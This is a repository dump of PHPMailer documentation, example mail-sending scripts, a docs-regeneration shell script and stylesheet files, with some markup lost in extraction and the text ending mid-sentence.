  • Q: When I try to attach a file with on my server I get a 19 | "Could not find {file} on filesystem error". Why is this?
    20 | A: If you are using a Unix machine this is probably because the user 21 | running your web server does not have read access to the directory in question. If you are using Windows, 22 | then the problem is probably that you have used single backslashes to denote directories (\). 23 | A single backslash has a special meaning to PHP so these are not 24 | valid. Instead use double backslashes ("\\") or a single forward 25 | slash ("/").
  • 26 |
27 | 28 | 29 | -------------------------------------------------------------------------------- /util/PHPMailer/docs/generatedocs.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Regenerate PHPMailer documentation 3 | # Run from within the docs folder 4 | rm -rf phpdoc/* 5 | phpdoc --directory .. --target ./phpdoc --ignore test/,examples/,extras/,test_script/,vendor/,language/ --sourcecode --force --title PHPMailer --template="clean" 6 | # You can merge regenerated docs into a separate docs working copy without messing up the git status like so: 7 | # rsync -a --delete --exclude ".git" --exclude "phpdoc-cache-*/" --exclude "README.md" phpdoc/ ../../phpmailer-docs 8 | # After updating docs, push/PR them to the phpmailer gh-pages branch: https://github.com/PHPMailer/PHPMailer/tree/gh-pages 9 | -------------------------------------------------------------------------------- /util/PHPMailer/examples/contents.html: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/util/PHPMailer/examples/contents.html -------------------------------------------------------------------------------- /util/PHPMailer/examples/contentsutf8.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | PHPMailer Test 6 | 7 | 8 |
9 |

This is a test of PHPMailer.

10 |
11 | PHPMailer rocks 12 |
13 |

This example uses HTML.

14 |

Chinese text: 郵件內容為空

15 |

Russian text: Пустое тело сообщения

16 |

Armenian text: Հաղորդագրությունը դատարկ է

17 |

Czech text: Prázdné tělo zprávy

18 |
19 | 20 | 21 | -------------------------------------------------------------------------------- /util/PHPMailer/examples/exceptions.phps: -------------------------------------------------------------------------------- 1 | setFrom('from@example.com', 'First Last'); 14 | //Set an alternative reply-to address 15 | $mail->addReplyTo('replyto@example.com', 'First Last'); 16 | //Set who the message is to be sent to 17 | $mail->addAddress('whoto@example.com', 'John Doe'); 18 | //Set the subject line 19 | $mail->Subject = 'PHPMailer Exceptions test'; 20 | //Read an HTML message body from an external file, convert referenced images to embedded, 21 | //and convert the HTML into a basic plain-text alternative body 22 | $mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__)); 23 | //Replace the plain text body with one created manually 24 | $mail->AltBody = 'This is a plain-text message body'; 25 | //Attach an image file 26 | $mail->addAttachment('images/phpmailer_mini.png'); 27 | //send the message 28 | //Note that we don't need check the response from this because it will throw an exception if it has trouble 29 | $mail->send(); 30 | echo "Message sent!"; 31 | } catch (phpmailerException $e) { 32 | echo $e->errorMessage(); //Pretty error messages from PHPMailer 33 | } catch (Exception $e) { 34 | echo $e->getMessage(); //Boring error messages from anything else! 35 | } 36 | -------------------------------------------------------------------------------- /util/PHPMailer/examples/images/phpmailer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/util/PHPMailer/examples/images/phpmailer.png -------------------------------------------------------------------------------- /util/PHPMailer/examples/images/phpmailer_mini.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/util/PHPMailer/examples/images/phpmailer_mini.png -------------------------------------------------------------------------------- /util/PHPMailer/examples/mail.phps: -------------------------------------------------------------------------------- 1 | setFrom('from@example.com', 'First Last'); 12 | //Set an alternative reply-to address 13 | $mail->addReplyTo('replyto@example.com', 'First Last'); 14 | //Set who the message is to be sent to 15 | $mail->addAddress('whoto@example.com', 'John Doe'); 16 | //Set the subject line 17 | $mail->Subject = 'PHPMailer mail() test'; 18 | //Read an HTML message body from an external file, convert referenced images to embedded, 19 | //convert HTML into a basic plain-text alternative body 20 | $mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__)); 21 | //Replace the plain text body with one created manually 22 | $mail->AltBody = 'This is a plain-text message body'; 23 | //Attach an image file 24 | $mail->addAttachment('images/phpmailer_mini.png'); 25 | 26 | //send the message, check for errors 27 | if (!$mail->send()) { 28 | echo "Mailer Error: " . $mail->ErrorInfo; 29 | } else { 30 | echo "Message sent!"; 31 | } 32 | -------------------------------------------------------------------------------- /util/PHPMailer/examples/send_file_upload.phps: -------------------------------------------------------------------------------- 1 | setFrom('from@example.com', 'First Last'); 18 | $mail->addAddress('whoto@example.com', 'John Doe'); 19 | $mail->Subject = 'PHPMailer file sender'; 20 | $mail->msgHTML("My message body"); 21 | // Attach the uploaded file 22 | $mail->addAttachment($uploadfile, 'My uploaded file'); 23 | if (!$mail->send()) { 24 | $msg = "Mailer Error: " . $mail->ErrorInfo; 25 | } else { 26 | $msg = "Message sent!"; 27 | } 28 | } else { 29 | $msg = 'Failed to move file to ' . $uploadfile; 30 | } 31 | } 32 | ?> 33 | 34 | 35 | 36 | 37 | PHPMailer Upload 38 | 39 | 40 | 41 |
42 | Send this file: 43 | 44 |
45 | 48 | 49 | -------------------------------------------------------------------------------- /util/PHPMailer/examples/sendmail.phps: -------------------------------------------------------------------------------- 1 | isSendmail(); 12 | //Set who the message is to be sent from 13 | $mail->setFrom('from@example.com', 'First Last'); 14 | //Set an alternative reply-to address 15 | $mail->addReplyTo('replyto@example.com', 'First Last'); 16 | //Set who the message is to be sent to 17 | $mail->addAddress('whoto@example.com', 'John Doe'); 18 | //Set the subject line 19 | $mail->Subject = 'PHPMailer sendmail test'; 20 | //Read an HTML message body from an external file, convert referenced images to embedded, 21 | //convert HTML into a basic plain-text alternative body 22 | $mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__)); 23 | //Replace the plain text body with one created manually 24 | $mail->AltBody = 'This is a plain-text message body'; 25 | //Attach an image file 26 | $mail->addAttachment('images/phpmailer_mini.png'); 27 | 28 | //send the message, check for errors 29 | if (!$mail->send()) { 30 | echo "Mailer Error: " . $mail->ErrorInfo; 31 | } else { 32 | echo "Message sent!"; 33 | } 34 | -------------------------------------------------------------------------------- /util/PHPMailer/examples/smtp_check.phps: -------------------------------------------------------------------------------- 1 | do_debug = SMTP::DEBUG_CONNECTION; 18 | 19 | try { 20 | //Connect to an SMTP server 21 | if ($smtp->connect('mail.example.com', 25)) { 22 | //Say hello 23 | if ($smtp->hello('localhost')) { //Put your host name in here 24 | //Authenticate 25 | if ($smtp->authenticate('username', 'password')) { 26 | echo "Connected ok!"; 27 | } else { 28 | throw new Exception('Authentication failed: ' . $smtp->getLastReply()); 29 | } 30 | } else { 31 | throw new Exception('HELO failed: '. $smtp->getLastReply()); 32 | } 33 | } else { 34 | throw new Exception('Connect failed'); 35 | } 36 | } catch (Exception $e) { 37 | echo 'SMTP error: '. $e->getMessage(), "\n"; 38 | } 39 | //Whatever happened, close the connection. 40 | $smtp->quit(true); 41 | -------------------------------------------------------------------------------- /util/PHPMailer/examples/styles/shThemeAppleScript.css: -------------------------------------------------------------------------------- 1 | .syntaxhighlighter.applescript{background:white;font-size:1em;color:black;} 2 | .syntaxhighlighter.applescript div,.syntaxhighlighter.applescript code{font:1em/1.25 Verdana,sans-serif !important;} 3 | .syntaxhighlighter.applescript .code .line{overflow:hidden !important;} 4 | .syntaxhighlighter.applescript .code .line.highlighted{background:#b5d5ff !important;} 5 | .syntaxhighlighter.applescript .color1{color:#000000 !important;} 6 | .syntaxhighlighter.applescript .color2{color:#000000 !important;} 7 | .syntaxhighlighter.applescript .color3{color:#000000 !important;font-weight:bold !important;} 8 | .syntaxhighlighter.applescript .keyword{color:#000000 !important;font-weight:bold !important;} 9 | .syntaxhighlighter.applescript .color4{color:#0000ff !important;font-style:italic !important;} 10 | .syntaxhighlighter.applescript .comments{color:#4c4d4d !important;} 11 | .syntaxhighlighter.applescript .plain{color:#408000 !important;} 12 | .syntaxhighlighter.applescript .string{color:#000000 !important;} 13 | .syntaxhighlighter.applescript .commandNames{color:#0000ff !important;font-weight:bold !important;} 14 | .syntaxhighlighter.applescript .parameterNames{color:#0000ff !important;} 15 | .syntaxhighlighter.applescript .classes{color:#0000ff !important;font-style:italic !important;} 16 | .syntaxhighlighter.applescript .properties{color:#6c04d4 !important;} 17 | .syntaxhighlighter.applescript .enumeratedValues{color:#4a1e7f !important;} 18 | .syntaxhighlighter.applescript .additionCommandNames{color:#0016b0 !important;font-weight:bold !important;} 19 | .syntaxhighlighter.applescript .additionParameterNames{color:#0016b0 !important;} 20 | .syntaxhighlighter.applescript .additionClasses{color:#0016b0 !important;font-style:italic !important;} 21 | .syntaxhighlighter.applescript .spaces{display:inline-block;height:0 !important;font-size:1.75em !important;line-height:0 !important;} 22 | -------------------------------------------------------------------------------- /util/PHPMailer/examples/styles/wrapping.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/util/PHPMailer/examples/styles/wrapping.png -------------------------------------------------------------------------------- /util/PHPMailer/extras/README.md: -------------------------------------------------------------------------------- 1 | #PHPMailer Extras 2 | 3 | These classes provide optional additional functions to PHPMailer. 4 | 5 | These are not loaded by the PHPMailer autoloader, so in some cases you may need to `require` them yourself before using them. 6 | 7 | ##EasyPeasyICS 8 | 9 | This class was originally written by Manuel Reinhard and provides a simple means of generating ICS/vCal files that are used in sending calendar events. PHPMailer does not use it directly, but you can use it to generate content appropriate for placing in the `Ical` property of PHPMailer. The PHPMailer project is now its official home as Manuel has given permission for that and is no longer maintaining it himself. 10 | 11 | ##htmlfilter 12 | 13 | This class by Konstantin Riabitsev and Jim Jagielski implements HTML filtering to remove potentially malicious tags, such as `